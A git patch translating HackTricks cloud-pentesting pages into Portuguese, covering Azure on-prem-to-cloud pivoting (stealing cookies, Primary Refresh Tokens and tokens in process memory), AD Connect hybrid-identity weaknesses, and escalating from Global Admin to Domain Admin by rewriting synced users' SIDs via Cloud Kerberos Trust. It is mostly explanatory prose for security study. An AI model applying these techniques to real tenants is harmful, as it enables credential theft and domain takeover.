From ea97a1362c4df57fcb69399bd497da062ebe754c Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 31 Dec 2024 18:56:17 +0000 Subject: [PATCH] Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az --- .github/pull_request_template.md | 15 +- .../README.md | 46 +- .../README.md | 30 +- .../az-cloud-kerberos-trust.md | 48 +- .../az-default-applications.md | 8 +- .../az-synchronising-new-users.md | 28 +- .../federation.md | 106 ++- .../phs-password-hash-sync.md | 72 +- .../pta-pass-through-authentication.md | 56 +- .../seamless-sso.md | 98 ++- .../pass-the-prt.md | 168 ++--- .../azure-security/az-persistence/README.md | 46 +- .../az-persistence/az-queue-persistance.md | 24 +- .../az-persistence/az-storage-persistence.md | 34 +- .../az-persistence/az-vms-persistence.md | 22 +- .../az-post-exploitation/README.md | 7 +- .../az-blob-storage-post-exploitation.md | 32 +- .../az-file-share-post-exploitation.md | 40 +- .../az-function-apps-post-exploitation.md | 12 +- .../az-key-vault-post-exploitation.md | 52 +- .../az-queue-post-exploitation.md | 62 +- .../az-servicebus-post-exploitation.md | 76 +- .../az-sql-post-exploitation.md | 80 +-- .../az-table-storage-post-exploitation.md | 54 +- .../az-vms-and-network-post-exploitation.md | 166 ++--- .../az-privilege-escalation/README.md | 7 +- .../az-app-services-privesc.md | 16 +- .../az-authorization-privesc.md | 60 +- .../az-entraid-privesc/README.md | 240 +++---- ...-conditional-access-policies-mfa-bypass.md | 134 ++-- .../az-entraid-privesc/dynamic-groups.md | 40 +- .../az-functions-app-privesc.md | 334 ++++----- .../az-key-vault-privesc.md | 22 +- .../az-queue-privesc.md | 48 +- .../az-servicebus-privesc.md | 154 ++-- .../az-privilege-escalation/az-sql-privesc.md | 106 ++- .../az-storage-privesc.md | 112 ++- ...az-virtual-machines-and-network-privesc.md | 328 ++++----- .../azure-security/az-services/README.md | 48 +- .../azure-security/az-services/az-acr.md | 22 +- .../az-services/az-app-service.md | 70 +- .../az-services/az-application-proxy.md | 32 +- .../az-services/az-arm-templates.md | 20 +- .../az-automation-account/README.md | 110 ++- .../az-state-configuration-rce.md | 54 +- .../azure-security/az-services/az-azuread.md | 474 ++++++------ .../az-services/az-file-shares.md | 88 +-- .../az-services/az-function-apps.md | 248 ++++--- .../az-services/az-logic-apps.md | 36 +- ...roups-subscriptions-and-resource-groups.md | 30 +- .../az-services/az-queue-enum.md | 28 +- .../az-services/az-servicebus-enum.md | 82 +-- .../azure-security/az-services/az-sql.md | 162 ++--- .../azure-security/az-services/az-storage.md | 438 ++++++------ .../az-services/az-table-storage.md | 74 +- .../azure-security/az-services/intune.md | 34 +- .../azure-security/az-services/keyvault.md | 98 ++- .../azure-security/az-services/vms/README.md | 480 ++++++------- .../az-services/vms/az-azure-network.md | 224 +++--- .../README.md | 214 +++--- .../az-device-code-authentication-phishing.md | 8 +- .../az-oauth-apps-phishing.md | 124 ++-- .../az-password-spraying.md | 20 +- .../az-vms-unath.md | 24 +- .../digital-ocean-pentesting/README.md | 14 +- .../do-basic-information.md | 120 ++-- .../do-permissions-for-a-pentest.md | 8 +- .../do-services/README.md | 8 +- .../do-services/do-apps.md | 26 +- .../do-services/do-container-registry.md | 18 +- .../do-services/do-databases.md | 20 +- .../do-services/do-droplets.md | 42 +- .../do-services/do-functions.md | 40 +- .../do-services/do-images.md | 16 +- .../do-services/do-kubernetes-doks.md | 24 +- .../do-services/do-networking.md | 22 +- .../do-services/do-projects.md | 18 +- .../do-services/do-spaces.md | 24 +- .../do-services/do-volumes.md | 12 +- src/pentesting-cloud/gcp-security/README.md | 130 ++-- .../gcp-basic-information/README.md | 222 +++--- .../gcp-federation-abuse.md | 154 ++-- .../gcp-permissions-for-a-pentest.md | 170 ++--- .../gcp-security/gcp-persistence/README.md | 7 +- .../gcp-api-keys-persistence.md | 14 +- .../gcp-app-engine-persistence.md | 16 +- .../gcp-artifact-registry-persistence.md | 42 +- .../gcp-bigquery-persistence.md | 12 +- .../gcp-cloud-functions-persistence.md | 16 +- .../gcp-cloud-run-persistence.md | 20 +- .../gcp-cloud-shell-persistence.md | 52 +- .../gcp-cloud-sql-persistence.md | 26 +- .../gcp-compute-persistence.md | 18 +- .../gcp-dataflow-persistence.md | 48 +- .../gcp-filestore-persistence.md | 12 +- .../gcp-logging-persistence.md | 14 +- .../gcp-non-svc-persistance.md | 78 +- .../gcp-secret-manager-persistence.md | 20 +- .../gcp-storage-persistence.md | 20 +- .../gcp-post-exploitation/README.md | 7 +- .../gcp-app-engine-post-exploitation.md | 34 +- ...gcp-artifact-registry-post-exploitation.md | 10 +- .../gcp-cloud-build-post-exploitation.md | 26 +- .../gcp-cloud-functions-post-exploitation.md | 150 ++-- .../gcp-cloud-run-post-exploitation.md | 18 +- .../gcp-cloud-shell-post-exploitation.md | 60 +- .../gcp-cloud-sql-post-exploitation.md | 58 +- .../gcp-compute-post-exploitation.md | 118 ++- .../gcp-filestore-post-exploitation.md | 92 ++- .../gcp-iam-post-exploitation.md | 22 +- .../gcp-kms-post-exploitation.md | 232 +++--- .../gcp-logging-post-exploitation.md | 48 +- .../gcp-monitoring-post-exploitation.md | 64 +- .../gcp-pub-sub-post-exploitation.md | 94 +-- .../gcp-secretmanager-post-exploitation.md | 12 +- .../gcp-security-post-exploitation.md | 32 +- .../gcp-storage-post-exploitation.md | 20 +- .../gcp-workflows-post-exploitation.md | 14 +- .../gcp-privilege-escalation/README.md | 68 +- .../gcp-apikeys-privesc.md | 52 +- .../gcp-appengine-privesc.md | 58 +- .../gcp-artifact-registry-privesc.md | 140 ++-- .../gcp-batch-privesc.md | 78 +- .../gcp-bigquery-privesc.md | 74 +- .../gcp-clientauthconfig-privesc.md | 10 +- .../gcp-cloudbuild-privesc.md | 48 +- .../gcp-cloudfunctions-privesc.md | 70 +- .../gcp-cloudidentity-privesc.md | 18 +- .../gcp-cloudscheduler-privesc.md | 76 +- .../gcp-composer-privesc.md | 94 ++- .../gcp-compute-privesc/README.md | 86 +-- .../gcp-add-custom-ssh-metadata.md | 98 ++- .../gcp-container-privesc.md | 80 +-- .../gcp-deploymentmaneger-privesc.md | 16 +- .../gcp-iam-privesc.md | 104 ++- .../gcp-kms-privesc.md | 74 +- ...local-privilege-escalation-ssh-pivoting.md | 64 +- .../gcp-misc-perms-privesc.md | 20 +- .../gcp-network-docker-escape.md | 46 +- .../gcp-orgpolicy-privesc.md | 12 +- .../gcp-pubsub-privesc.md | 18 +- .../gcp-resourcemanager-privesc.md | 10 +- .../gcp-run-privesc.md | 34 +- .../gcp-secretmanager-privesc.md | 20 +- .../gcp-serviceusage-privesc.md | 22 +- .../gcp-sourcerepos-privesc.md | 58 +- .../gcp-storage-privesc.md | 68 +- .../gcp-workflows-privesc.md | 112 ++- .../gcp-security/gcp-services/README.md | 7 +- .../gcp-services/gcp-ai-platform-enum.md | 14 +- .../gcp-services/gcp-api-keys-enum.md | 26 +- .../gcp-services/gcp-app-engine-enum.md | 56 +- .../gcp-artifact-registry-enum.md | 66 +- .../gcp-services/gcp-batch-enum.md | 18 +- .../gcp-services/gcp-bigquery-enum.md | 168 ++--- .../gcp-services/gcp-bigtable-enum.md | 8 +- .../gcp-services/gcp-cloud-build-enum.md | 152 ++-- .../gcp-services/gcp-cloud-functions-enum.md | 56 +- .../gcp-services/gcp-cloud-run-enum.md | 60 +- .../gcp-services/gcp-cloud-scheduler-enum.md | 36 +- .../gcp-services/gcp-cloud-shell-enum.md | 20 +- .../gcp-services/gcp-cloud-sql-enum.md | 68 +- .../gcp-services/gcp-composer-enum.md | 14 +- .../gcp-compute-instances-enum/README.md | 138 ++-- .../gcp-compute-instance.md | 72 +- .../gcp-vpc-and-networking.md | 84 ++- .../gcp-containers-gke-and-composer-enum.md | 56 +- .../gcp-security/gcp-services/gcp-dns-enum.md | 8 +- .../gcp-services/gcp-filestore-enum.md | 52 +- .../gcp-services/gcp-firebase-enum.md | 62 +- .../gcp-services/gcp-firestore-enum.md | 8 +- .../gcp-iam-and-org-policies-enum.md | 112 ++- .../gcp-security/gcp-services/gcp-kms-enum.md | 72 +- .../gcp-services/gcp-logging-enum.md | 144 ++-- .../gcp-services/gcp-memorystore-enum.md | 10 +- .../gcp-services/gcp-monitoring-enum.md | 32 +- .../gcp-security/gcp-services/gcp-pub-sub.md | 52 +- .../gcp-services/gcp-secrets-manager-enum.md | 28 +- .../gcp-services/gcp-security-enum.md | 92 ++- .../gcp-source-repositories-enum.md | 50 +- .../gcp-services/gcp-spanner-enum.md | 8 +- .../gcp-services/gcp-stackdriver-enum.md | 14 +- .../gcp-services/gcp-storage-enum.md | 102 ++- .../gcp-services/gcp-workflows-enum.md | 20 +- .../gcp-to-workspace-pivoting/README.md | 136 ++-- ...cp-understanding-domain-wide-delegation.md | 32 +- .../README.md | 20 +- .../gcp-api-keys-unauthenticated-enum.md | 40 +- .../gcp-app-engine-unauthenticated-enum.md | 14 +- ...-artifact-registry-unauthenticated-enum.md | 14 +- .../gcp-cloud-build-unauthenticated-enum.md | 22 +- ...cp-cloud-functions-unauthenticated-enum.md | 76 +- .../gcp-cloud-run-unauthenticated-enum.md | 58 +- .../gcp-cloud-sql-unauthenticated-enum.md | 12 +- .../gcp-compute-unauthenticated-enum.md | 16 +- ...principals-and-org-unauthenticated-enum.md | 88 +-- ...ource-repositories-unauthenticated-enum.md | 18 +- .../README.md | 60 +- ...gcp-public-buckets-privilege-escalation.md | 28 +- .../ibm-cloud-pentesting/README.md | 26 +- .../ibm-basic-information.md | 70 +- .../ibm-hyper-protect-crypto-services.md | 32 +- .../ibm-hyper-protect-virtual-server.md | 42 +- .../kubernetes-security/README.md | 22 +- .../README.md | 650 ++++++++--------- .../kubernetes-roles-abuse-lab.md | 536 +++++++------- .../pod-escape-privileges.md | 64 +- .../attacking-kubernetes-from-inside-a-pod.md | 288 ++++---- .../exposing-services-in-kubernetes.md | 210 +++--- .../kubernetes-security/kubernetes-basics.md | 570 +++++++-------- .../kubernetes-enumeration.md | 326 +++------ .../kubernetes-external-secrets-operator.md | 130 ++-- .../kubernetes-hardening/README.md | 180 +++-- .../kubernetes-securitycontext-s.md | 80 +-- .../kubernetes-kyverno/README.md | 72 +- .../kubernetes-kyverno-bypass.md | 62 +- .../kubernetes-namespace-escalation.md | 22 +- .../kubernetes-network-attacks.md | 266 ++++--- .../kubernetes-opa-gatekeeper/README.md | 88 ++- .../kubernetes-opa-gatekeeper-bypass.md | 40 +- .../kubernetes-pivoting-to-clouds.md | 284 ++++---- ...bernetes-role-based-access-control-rbac.md | 128 ++-- ...bernetes-validatingwebhookconfiguration.md | 110 ++- .../pentesting-kubernetes-services/README.md | 136 ++-- ...ubelet-authentication-and-authorization.md | 152 ++-- .../openshift-pentesting/README.md | 10 +- .../openshift-basic-information.md | 28 +- .../openshift-jenkins/README.md | 38 +- .../openshift-jenkins-build-overrides.md | 452 ++++++------ .../openshift-privilege-escalation/README.md | 10 +- .../openshift-missing-service-account.md | 20 +- .../openshift-scc-bypass.md | 128 ++-- .../openshift-tekton.md | 72 +- .../openshift-pentesting/openshift-scc.md | 56 +- .../workspace-security/README.md | 64 +- .../gws-google-platforms-phishing/README.md | 132 ++-- .../gws-app-scripts.md | 232 +++--- .../workspace-security/gws-persistence.md | 192 +++-- .../gws-post-exploitation.md | 66 +- .../README.md | 34 +- .../gcds-google-cloud-directory-sync.md | 286 ++++---- ...-google-credential-provider-for-windows.md | 674 ++++++++---------- .../gps-google-password-sync.md | 188 +++-- .../gws-admin-directory-sync.md | 64 +- 244 files changed, 8836 insertions(+), 11682 deletions(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 5e04d31db..148659326 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,16 +1,11 @@ -You can remove this content before sending the PR: +Você pode remover este conteúdo antes de enviar o PR: ## Attribution -We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone. +Valorizamos seu conhecimento e incentivamos você a compartilhar conteúdo. Por favor, certifique-se de que você só faz upload de conteúdo que você possui ou que tem permissão para compartilhar do autor original (adicionando uma referência ao autor no texto adicionado ou no final da página que você está modificando ou ambos). Seu respeito pelos direitos de propriedade intelectual promove um ambiente de compartilhamento confiável e legal para todos. ## HackTricks Training -If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-`. - -Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction. - - -In any case, thanks for contributing to HackTricks! - - +Se você está adicionando para que possa passar no exame de certificação [ARTE](https://training.hacktricks.xyz/courses/arte) com 2 bandeiras em vez de 3, você precisa chamar o PR de `arte-`. +Além disso, lembre-se de que correções de gramática/sintaxe não serão aceitas para a redução de bandeiras do exame. +De qualquer forma, obrigado por contribuir para o HackTricks! diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 855759013..bbe1fd1d6 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -4,9 +4,9 @@ {{#include ../../../banners/hacktricks-training.md}} -### On-Prem machines connected to cloud +### Máquinas On-Prem conectadas à nuvem -There are different ways a machine can be connected to the cloud: +Existem diferentes maneiras de uma máquina estar conectada à nuvem: #### Azure AD joined @@ -20,50 +20,46 @@ There are different ways a machine can be connected to the cloud:

https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large

-#### Workplace joined on AADJ or Hybrid +#### Workplace joined em AADJ ou Hybrid

https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

-### Tokens and limitations +### Tokens e limitações -In Azure AD, there are different types of tokens with specific limitations: +No Azure AD, existem diferentes tipos de tokens com limitações específicas: -- **Access tokens**: Used to access APIs and resources like the Microsoft Graph. They are tied to a specific client and resource. -- **Refresh tokens**: Issued to applications to obtain new access tokens. They can only be used by the application they were issued to or a group of applications. -- **Primary Refresh Tokens (PRT)**: Used for Single Sign-On on Azure AD joined, registered, or hybrid joined devices. They can be used in browser sign-in flows and for signing in to mobile and desktop applications on the device. -- **Windows Hello for Business keys (WHFB)**: Used for passwordless authentication. It's used to get Primary Refresh Tokens. +- **Access tokens**: Usados para acessar APIs e recursos como o Microsoft Graph. Eles estão vinculados a um cliente e recurso específicos. +- **Refresh tokens**: Emitidos para aplicativos para obter novos access tokens. Podem ser usados apenas pelo aplicativo ao qual foram emitidos ou por um grupo de aplicativos. +- **Primary Refresh Tokens (PRT)**: Usados para Single Sign-On em dispositivos Azure AD joined, registrados ou hybrid joined. Podem ser usados em fluxos de login no navegador e para fazer login em aplicativos móveis e de desktop no dispositivo. +- **Windows Hello for Business keys (WHFB)**: Usados para autenticação sem senha. São usados para obter Primary Refresh Tokens. -The most interesting type of token is the Primary Refresh Token (PRT). +O tipo de token mais interessante é o Primary Refresh Token (PRT). {{#ref}} az-primary-refresh-token-prt.md {{#endref}} -### Pivoting Techniques +### Técnicas de Pivoting -From the **compromised machine to the cloud**: +Da **máquina comprometida para a nuvem**: -- [**Pass the Cookie**](az-pass-the-cookie.md): Steal Azure cookies from the browser and use them to login -- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump the memory of local processes synchronized with the cloud (like excel, Teams...) and find access tokens in clear text. -- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish the PRT to abuse it -- [**Pass the PRT**](pass-the-prt.md): Steal the device PRT to access Azure impersonating it. -- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generate a cert based on the PRT to login from one machine to another +- [**Pass the Cookie**](az-pass-the-cookie.md): Roubar cookies do Azure do navegador e usá-los para fazer login +- [**Dump processes access tokens**](az-processes-memory-access-token.md): Despejar a memória de processos locais sincronizados com a nuvem (como excel, Teams...) e encontrar access tokens em texto claro. +- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish o PRT para abusar dele +- [**Pass the PRT**](pass-the-prt.md): Roubar o PRT do dispositivo para acessar o Azure se passando por ele. +- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Gerar um certificado baseado no PRT para fazer login de uma máquina para outra -From compromising **AD** to compromising the **Cloud** and from compromising the **Cloud to** compromising **AD**: +De comprometer **AD** para comprometer a **Nuvem** e de comprometer a **Nuvem** para comprometer **AD**: - [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) -- **Another way to pivot from could to On-Prem is** [**abusing Intune**](../az-services/intune.md) +- **Outra maneira de pivotar da nuvem para On-Prem é** [**abusar do Intune**](../az-services/intune.md) #### [Roadtx](https://github.com/dirkjanm/ROADtools) -This tool allows to perform several actions like register a machine in Azure AD to obtain a PRT, and use PRTs (legit or stolen) to access resources in several different ways. These are not direct attacks, but it facilitates the use of PRTs to access resources in different ways. Find more info in [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) +Esta ferramenta permite realizar várias ações, como registrar uma máquina no Azure AD para obter um PRT, e usar PRTs (legítimos ou roubados) para acessar recursos de várias maneiras diferentes. Esses não são ataques diretos, mas facilitam o uso de PRTs para acessar recursos de diferentes maneiras. Encontre mais informações em [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) -## References +## Referências - [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md index ec734cb69..d0dd307cf 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md @@ -1,64 +1,58 @@ -# Az AD Connect - Hybrid Identity +# Az AD Connect - Identidade Híbrida {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -Integration between **On-premises Active Directory (AD)** and **Azure AD** is facilitated by **Azure AD Connect**, offering various methods that support **Single Sign-on (SSO)**. Each method, while useful, presents potential security vulnerabilities that could be exploited to compromise cloud or on-premises environments: +A integração entre **Active Directory (AD)** local e **Azure AD** é facilitada pelo **Azure AD Connect**, oferecendo vários métodos que suportam **Single Sign-on (SSO)**. Cada método, embora útil, apresenta potenciais vulnerabilidades de segurança que podem ser exploradas para comprometer ambientes em nuvem ou locais: - **Pass-Through Authentication (PTA)**: - - Possible compromise of the agent on the on-prem AD, allowing validation of user passwords for Azure connections (on-prem to Cloud). - - Feasibility of registering a new agent to validate authentications in a new location (Cloud to on-prem). +- Possível comprometimento do agente no AD local, permitindo a validação de senhas de usuários para conexões Azure (local para Nuvem). +- Viabilidade de registrar um novo agente para validar autenticações em um novo local (Nuvem para local). {{#ref}} pta-pass-through-authentication.md {{#endref}} - **Password Hash Sync (PHS)**: - - Potential extraction of clear-text passwords of privileged users from the AD, including credentials of a high-privileged, auto-generated AzureAD user. +- Extração potencial de senhas em texto claro de usuários privilegiados do AD, incluindo credenciais de um usuário AzureAD de alta privilégio, gerado automaticamente. {{#ref}} phs-password-hash-sync.md {{#endref}} - **Federation**: - - Theft of the private key used for SAML signing, enabling impersonation of on-prem and cloud identities. +- Roubo da chave privada usada para assinatura SAML, permitindo a impersonação de identidades locais e em nuvem. {{#ref}} federation.md {{#endref}} - **Seamless SSO:** - - Theft of the `AZUREADSSOACC` user's password, used for signing Kerberos silver tickets, allowing impersonation of any cloud user. +- Roubo da senha do usuário `AZUREADSSOACC`, usada para assinar tickets Kerberos silver, permitindo a impersonação de qualquer usuário em nuvem. {{#ref}} seamless-sso.md {{#endref}} - **Cloud Kerberos Trust**: - - Possibility of escalating from Global Admin to on-prem Domain Admin by manipulating AzureAD user usernames and SIDs and requesting TGTs from AzureAD. +- Possibilidade de escalar de Global Admin para Domain Admin local manipulando nomes de usuários e SIDs do AzureAD e solicitando TGTs do AzureAD. {{#ref}} az-cloud-kerberos-trust.md {{#endref}} - **Default Applications**: - - Compromising an Application Administrator account or the on-premise Sync Account allows modification of directory settings, group memberships, user accounts, SharePoint sites, and OneDrive files. +- Comprometer uma conta de Administrador de Aplicação ou a Conta de Sincronização local permite a modificação de configurações de diretório, associações de grupos, contas de usuários, sites do SharePoint e arquivos do OneDrive. {{#ref}} az-default-applications.md {{#endref}} -For each integration method, user synchronization is conducted, and an `MSOL_` account is created in the on-prem AD. Notably, both **PHS** and **PTA** methods facilitate **Seamless SSO**, enabling automatic sign-in for Azure AD computers joined to the on-prem domain. - -To verify the installation of **Azure AD Connect**, the following PowerShell command, utilizing the **AzureADConnectHealthSync** module (installed by default with Azure AD Connect), can be used: +Para cada método de integração, a sincronização de usuários é realizada, e uma conta `MSOL_` é criada no AD local. Notavelmente, tanto os métodos **PHS** quanto **PTA** facilitam o **Seamless SSO**, permitindo o login automático para computadores Azure AD associados ao domínio local. +Para verificar a instalação do **Azure AD Connect**, o seguinte comando PowerShell, utilizando o módulo **AzureADConnectHealthSync** (instalado por padrão com o Azure AD Connect), pode ser usado: ```powershell Get-ADSyncConnector ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index 0b8debf3e..d47283c9f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -2,52 +2,48 @@ {{#include ../../../../banners/hacktricks-training.md}} -**This post is a summary of** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **which can be checked for further information about the attack. This technique is also commented in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** +**Este post é um resumo de** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **que pode ser consultado para mais informações sobre o ataque. Esta técnica também é comentada em** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** -## Basic Information +## Informações Básicas -### Trust +### Confiança -When a trust is stablished with Azure AD, a **Read Only Domain Controller (RODC) is created in the AD.** The **RODC computer account**, named **`AzureADKerberos$`**. Also, a secondary `krbtgt` account named **`krbtgt_AzureAD`**. This account contains the **Kerberos keys** used for tickets that Azure AD creates. +Quando uma confiança é estabelecida com o Azure AD, um **Controlador de Domínio Somente Leitura (RODC) é criado no AD.** A **conta de computador RODC**, chamada **`AzureADKerberos$`**. Além disso, uma conta secundária `krbtgt` chamada **`krbtgt_AzureAD`**. Esta conta contém as **chaves Kerberos** usadas para os tickets que o Azure AD cria. -Therefore, if this account is compromised it could be possible to impersonate any user... although this is not true because this account is prevented from creating tickets for any common privileged AD group like Domain Admins, Enterprise Admins, Administrators... +Portanto, se esta conta for comprometida, pode ser possível se passar por qualquer usuário... embora isso não seja verdade porque esta conta é impedida de criar tickets para qualquer grupo privilegiado comum do AD, como Administradores de Domínio, Administradores Empresariais, Administradores... > [!CAUTION] -> However, in a real scenario there are going to be privileged users that aren't in those groups. So the **new krbtgt account, if compromised, could be used to impersonate them.** +> No entanto, em um cenário real, haverá usuários privilegiados que não estão nesses grupos. Portanto, a **nova conta krbtgt, se comprometida, poderia ser usada para se passar por eles.** ### Kerberos TGT -Moreover, when a user authenticates on Windows using a hybrid identity **Azure AD** will issue **partial Kerberos ticket along with the PRT.** The TGT is partial because **AzureAD has limited information** of the user in the on-prem AD (like the security identifier (SID) and the name).\ -Windows can then **exchange this partial TGT for a full TGT** by requesting a service ticket for the `krbtgt` service. +Além disso, quando um usuário se autentica no Windows usando uma identidade híbrida, **o Azure AD emitirá um ticket Kerberos parcial junto com o PRT.** O TGT é parcial porque **o AzureAD tem informações limitadas** do usuário no AD local (como o identificador de segurança (SID) e o nome).\ +O Windows pode então **trocar este TGT parcial por um TGT completo** solicitando um ticket de serviço para o serviço `krbtgt`. ### NTLM -As there could be services that doesn't support kerberos authentication but NTLM, it's possible to request a **partial TGT signed using a secondary `krbtgt`** key including the **`KERB-KEY-LIST-REQ`** field in the **PADATA** part of the request and then get a full TGT signed with the primary `krbtgt` key **including the NT hash in the response**. +Como pode haver serviços que não suportam autenticação kerberos, mas NTLM, é possível solicitar um **TGT parcial assinado usando uma chave `krbtgt` secundária** incluindo o campo **`KERB-KEY-LIST-REQ`** na parte **PADATA** da solicitação e, em seguida, obter um TGT completo assinado com a chave `krbtgt` primária **incluindo o hash NT na resposta**. -## Abusing Cloud Kerberos Trust to obtain Domain Admin +## Abusando da Confiança do Cloud Kerberos para obter Admin de Domínio -When AzureAD generates a **partial TGT** it will be using the details it has about the user. Therefore, if a Global Admin could modify data like the **security identifier and name of the user in AzureAD**, when requesting a TGT for that user the **security identifier would be a different one**. +Quando o AzureAD gera um **TGT parcial**, ele usará os detalhes que possui sobre o usuário. Portanto, se um Administrador Global puder modificar dados como o **identificador de segurança e nome do usuário no AzureAD**, ao solicitar um TGT para esse usuário, o **identificador de segurança seria um diferente**. -It's not possible to do that through the Microsoft Graph or the Azure AD Graph, but it's possible to use the **API Active Directory Connect** uses to create and update synced users, which can be used by the Global Admins to **modify the SAM name and SID of any hybrid user**, and then if we authenticate, we get a partial TGT containing the modified SID. +Não é possível fazer isso através do Microsoft Graph ou do Azure AD Graph, mas é possível usar a **API que o Active Directory Connect** usa para criar e atualizar usuários sincronizados, que pode ser usada pelos Administradores Globais para **modificar o nome SAM e o SID de qualquer usuário híbrido**, e então, se nos autenticarmos, obteremos um TGT parcial contendo o SID modificado. -Note that we can do this with AADInternals and update to synced users via the [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet. +Observe que podemos fazer isso com AADInternals e atualizar usuários sincronizados via o cmdlet [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a). -### Attack prerequisites +### Pré-requisitos do ataque -The success of the attack and attainment of Domain Admin privileges hinge on meeting certain prerequisites: +O sucesso do ataque e a obtenção de privilégios de Admin de Domínio dependem do cumprimento de certos pré-requisitos: -- The capability to alter accounts via the Synchronization API is crucial. This can be achieved by having the role of Global Admin or possessing an AD Connect sync account. Alternatively, the Hybrid Identity Administrator role would suffice, as it grants the ability to manage AD Connect and establish new sync accounts. -- Presence of a **hybrid account** is essential. This account must be amenable to modification with the victim account's details and should also be accessible for authentication. -- Identification of a **target victim account** within Active Directory is a necessity. Although the attack can be executed on any account already synchronized, the Azure AD tenant must not have replicated on-premises security identifiers, necessitating the modification of an unsynchronized account to procure the ticket. - - Additionally, this account should possess domain admin equivalent privileges but must not be a member of typical AD administrator groups to avoid the generation of invalid TGTs by the AzureAD RODC. - - The most suitable target is the **Active Directory account utilized by the AD Connect Sync service**. This account is not synchronized with Azure AD, leaving its SID as a viable target, and it inherently holds Domain Admin equivalent privileges due to its role in synchronizing password hashes (assuming Password Hash Sync is active). For domains with express installation, this account is prefixed with **MSOL\_**. For other instances, the account can be pinpointed by enumerating all accounts endowed with Directory Replication privileges on the domain object. +- A capacidade de alterar contas via a API de Sincronização é crucial. Isso pode ser alcançado tendo o papel de Administrador Global ou possuindo uma conta de sincronização do AD Connect. Alternativamente, o papel de Administrador de Identidade Híbrida seria suficiente, pois concede a capacidade de gerenciar o AD Connect e estabelecer novas contas de sincronização. +- A presença de uma **conta híbrida** é essencial. Esta conta deve ser passível de modificação com os detalhes da conta da vítima e também deve ser acessível para autenticação. +- A identificação de uma **conta de vítima alvo** dentro do Active Directory é uma necessidade. Embora o ataque possa ser executado em qualquer conta já sincronizada, o locatário do Azure AD não deve ter replicado identificadores de segurança locais, necessitando da modificação de uma conta não sincronizada para obter o ticket. +- Além disso, esta conta deve possuir privilégios equivalentes a admin de domínio, mas não deve ser membro de grupos típicos de administradores do AD para evitar a geração de TGTs inválidos pelo RODC do AzureAD. +- O alvo mais adequado é a **conta do Active Directory utilizada pelo serviço de Sincronização do AD Connect**. Esta conta não é sincronizada com o Azure AD, deixando seu SID como um alvo viável, e possui inherentemente privilégios equivalentes a Admin de Domínio devido ao seu papel na sincronização de hashes de senha (assumindo que a Sincronização de Hash de Senha esteja ativa). Para domínios com instalação expressa, esta conta é prefixada com **MSOL\_**. Para outras instâncias, a conta pode ser identificada enumerando todas as contas dotadas de privilégios de Replicação de Diretório no objeto de domínio. -### The full attack +### O ataque completo -Check it in the original post: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) +Verifique no post original: 